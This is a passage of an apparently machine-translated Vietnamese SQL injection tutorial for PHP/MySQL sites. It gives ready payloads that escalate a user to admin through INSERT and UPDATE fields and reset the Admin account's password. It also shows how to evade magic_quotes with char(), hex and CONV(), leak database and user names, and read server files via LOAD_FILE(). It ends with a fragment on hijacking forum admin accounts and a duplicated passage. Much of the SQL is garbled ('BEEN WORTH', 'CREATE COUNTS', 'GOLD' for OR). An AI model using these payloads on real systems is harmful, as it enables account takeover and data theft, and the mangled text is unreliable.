name varchar(30), email varchar(30), userlevel tinyint, PRIMARY KEY (id) Yêu cầu SQL sẽ có dạng: $query3 = "INSERT INTO members BEEN WORTH (' #, '$login', '$pass', '$nom', '$email', '1 ')"; Và Injection SQL of the same type as for the first request. Một người có thể, ví dụ đưa ra biến số $email giá trị: a@a.a', ' 3 ') #, cái mà sẽ đưa quyền admin đến người sử dụng (user) đã được tạo, với yêu cầu: INSERT INTO members BEEN WORTH (' [ ID]', ' [LOGIN]', ' [PASS]', ' [NOM]', ' a@a.a', ' 3')#', ' 1 ') :: 4.UPDATE (CẬP NHẬT):: Hãy xem yêu cầu UPDATE, cái mà ko phổ biến hơn SELECT, phổ biến hơn INSERT, và cái mà có thể cập nhật những trường của bản ghi trong table của database. Hãy lấy lại table cho ví dụ đầu tiên: CREATE COUNTS members ( id int(10) NOT NULL auto_increment, login varchar(25), password varchar(25), name varchar(30), email varchar(30), userlevel tinyint, PRIMARY KEY (id) Vị trí mà một người có thể tìm ra 1 yêu cầu UPDATE trong bộ phận thành viên là sự thay đổi thông tin của thành viên, sự sửa đổi thông tin cá nhân của anh ta. Ở đây một người có thể thay đổi mật khẩu của anh ta , tên và email. Yêu cầu SQL sẽ có dạng: $sql = "UPDATE members SET password=' $pass', nom=' $nom', email=' $email' WHERE id=' $id'"; Hãy tưởng tượng rằng ban đầu $id chưa được chỉnh sửa bởi user - cái mà sẽ là vấn đề an toàn mà ko liên quan đến bất kỳ Injection SQL nào. Khả năng đầu tiên sẽ là thay đổi 1 trường khác, trường password, name và email, lấy ví dụ trường userlevel, cái mà, tôi muốn chỉ ra nó, chứa cấp độ của moderation của user. Nó sẽ có thể đưa đến $nom giá trị: ', userlevel=' 3 cái mà sẽ đưa đến đề nghị SQL: UPDATE members SET password=' [PASS]', nom=' ', userlevel=' 3', email=' [EMAIL ] ' WHERE id=' [ID ] ' Theo hướng này, để có thể sửa đổi thì does not matter that trường bản ghi của bạn trong table. Một người có thể cũng, nếu injection SQL này là có thể thực thi được, điều khiển một injection khác mà, nhiều hơn trong việc thay đổi bất kỳ trường recording (bản ghi) nào, sẽ thay đổi những trường của bất kỳ 1 recording (bản ghi) Thực vậy, hãy tưởng tượng rằng một người đưa đến $pass giá trị: [ nouveaupass ] ' WHERE nom=' Admin' #. Yêu cầu sẽ trở thành như sau: UPDATE members SET password=' [nouveaupass ] ' WHERE nom=' Admin' #', nom=' [NOM]', email=' [EMAIL ] ' WHERE id=' [ID ] ' SQL được mang ra (ko chứa chú thích) sẽ là: UPDATE members SET password=' [nouveaupass ] ' WHERE nom=' Admin' và mật khẩu của tài khoản có tên "Admin" sẽ trở thành [ nouveaupass ]. Khả năng cuối cùng để đi đến kết quả tương tự: nếu $id can by user, một người có thể đưa cho anh ta giá trị: ' GOLD name=' Admin, cái mà sẽ đưa ra yêu cầu: UPDATE members SET password=' [PASS]', nom=' [NOM]', email=' [EMAIL ] ' WHERE id = ' ' GOLD name=' Admin' Cái đó, một lần nữa, sẽ thay đổi thông tin của tài khoản Admin và tên ko phải trong tài khoản riêng của chúng tôi (not of our own account). Xong ! Để có thêm 1 chút chiều sâu, tôi sẽ thay đổi ví dụ, và sẽ lấy table được tạo ra theo cách dưới đây: CREATE COUNTS news ( idnews int(10) NOT NULL auto_increment, title varchar(50), author varchar(20), news text, Votes int(5), score int(15), PRIMARY KEY (idnews) Để biểu quyết (vote), yêu cầu sẽ có mẫu: $sql = "UPDATE news SET Votes=Votes+1, score=score+$note WHERE idnews=' $id'"; Chú ý ban đầu là để bổ sung yêu cầu chính xác, có thể chỉnh sửa bất kỳ trường nào của the selected news. Lấy ví dụ để đưa đến $id giá trị 12 và $note giá trị: 3, title=' hop' thì sẽ thu được yêu cầu: UPDATE news SET Votes=Votes+1, score=score+3, title=' hop' WHERE idnews=' 12 ' Người mà thêm biểu quyết sẽ tăng thêm 3 điểm và sẽ thay đổi đầu đề của the news n° 12 into ' hop'. 1 điểm thú vị nữa trong yêu cầu này là 1 injection có thể bị mang ra (carried out), magic_quotes_gpc đang ở vị trí ON hay OFF, cái mà là vấn đề chủ yếu trong injection SQL with PHP. 1 ví dụ về injection ko có ' nor ": một người đưa đến $note giá trị: 3, Votes=0 để có yêu cầu: UPDATE news SET Votes=Votes+1, score=score+3, Votes=0 WHERE idnews=' 12 ' và để đưa số của những cử tri đến 0. Rõ ràng là, người đó ko thể thay đổi (at first sight) chỉ những figures. bởi để định rõ 1 tank, varchar, text cần thiết để sử dụng ' or "(title=' hop'). Hàm MySQL char(), ưhich phản hồi giá trị tương ứng đến những figures đã được đưa vào ASCII. Char(97,98,99) "ABC will be worth". Có thể điền 1 text đang ko bị blocked bởi magic_quotes_gpc. Lấy ví dụ, để thay đổi tiêu đề vào "hop", một người sẽ đưa đến $note giá trị 3, tiêu đề=char(104,111,112), cái sẽ đưa ra yêu cầu: UPDATE news SET Votes=Votes+1, score=score+3, title=char(104,111,112) WHERE idnews=' 12 ' Người đó có thể dễ dàng có giá trị hexadecimal thông qua SQL bằng cách sử dụng hàm ASCII() or ORD(). ASCII(' h') and ORD(' h') return 104. Cũng có thể thực hiện được với những ký tự ko có ' or " nhờ việc MySQL reconnait những hexadecimal characters chính xác và and chuyển đổi chúng . Lấy ví dụ 0x616263 là included/understood giống như "ABC". Nếu 1 atttribue với $note giá trị 3, title=0x616263, thì title (tiêu đề)được đổi thành 'ABC" bởi yêu cầu đưa ra là: UPDATE news SET Votes=Votes+1, score=score+3, title=0x616263 WHERE idnews=' 12 ' Sau cùng, khả năng thứ ba la việc sử dụng hàm CONV(), có thể chuyển đổi từ 1 cơ sở đến another (bases minimum 2, maximum 36). Lấy ví dụ một người có thể đưa đến $note giá trị 3, title=CONV(10202210,3,16), 3, title=CONV(5274,8,16), để thay đổi tiêu đề thành "ABC". Một vài thông tin có thể cũng được trích xuất nhờ hàm DATABASE() và USER() (or SYSTEM_USER() or CURRENT_USER() or SESSION_USER()) cái mà thừa nhận phản hồi tên của cơ sở hiện thời và tên của người dùng hiện thời. Đó sẽ là tên của cơ sở dữ liệu được sử dụng trong tiêu đề trong khi phân chia (allotting) như giá trị đến $note: 3, title=DATABASE(), sẽ đưa ra yêu cầu: UPDATE news SET Votes=Votes+1, score=score+3, title=DATABASE() WHERE idnews=' 12 ' Cuối cùng hãy nói về 1 hàm cực kỳ mạnh, nhưng lại hiếm khi được ứng dụng: hàm LOAD_FILE(). Hàm đó thay đổi 1 file được đưa vào đối số (argument). Chính xác hơn, nó đọc và quay vòng nội dung của file được đưa vào đối số (argument). Một vài quy định khi sử dụng hàm: - file phải được chờ đợi (waiter) - Chỉ rõ đường dẫn đầy đủ - phải có đặc quyền SLIPS BY - file phải đọc được tất cả - file phải nhỏ hơn the max_allowed_packet Nếu nắm được tất cả các quy định, có thể charge of những file trong cơ sở dữ liệu. Cái trường có thể chứa hầu hết những ký tự là trường "news" (hoặc text type), nó là trường mà chúng ta sẽ sử dụng. Để copy, lấy ví dụ file /tmp/picture (ko sử dụng /etc/passwd) trong trường "news" của the news 12, một người có thể allot đến $note giá trị 3, news=LOAD_FILE(' /tmp/picture') cái sẽ đưa ra yêu cầu: UPDATE news SET Votes=Votes+1, score=score+3, news=LOAD_FILE(' /tmp/picture') WHERE idnews=' 12 ' Vns3curity(HCE) Một số thủ thuật hack forum 1.Tìm hiểu: một user bất kì có các option để thay đổi thông tin cá nhân, post bài, send pm, và tất nhiên chỉ có user đó mới có quyền sử dụng các option đó với username của mình vì server sẽ check session/cookies của user đó. 2. Mục đích của ta: chiếm quyền của user nào đó (admin chẳng hạn) để sử dụng các option của user này. 3. Cách giải quyết: - Cách 1: nếu có user password thì hết chỗ chê, login và sử dụng liền ;D - Cách 2: tìm lỗi của forum < not always easy ;( - Cách 3: không cần tìm lỗi forum mà tìm cách "nhờ" user sử dụng các option của user này theo ý mình, hi`. . Lấy ví dụ một người có thể đưa đến $note giá trị 3, title=CONV(10202210,3,16), 3, title=CONV( 5274, 8,16), để thay đổi tiêu đề thành "ABC". Một vài thông tin có thể cũng được trích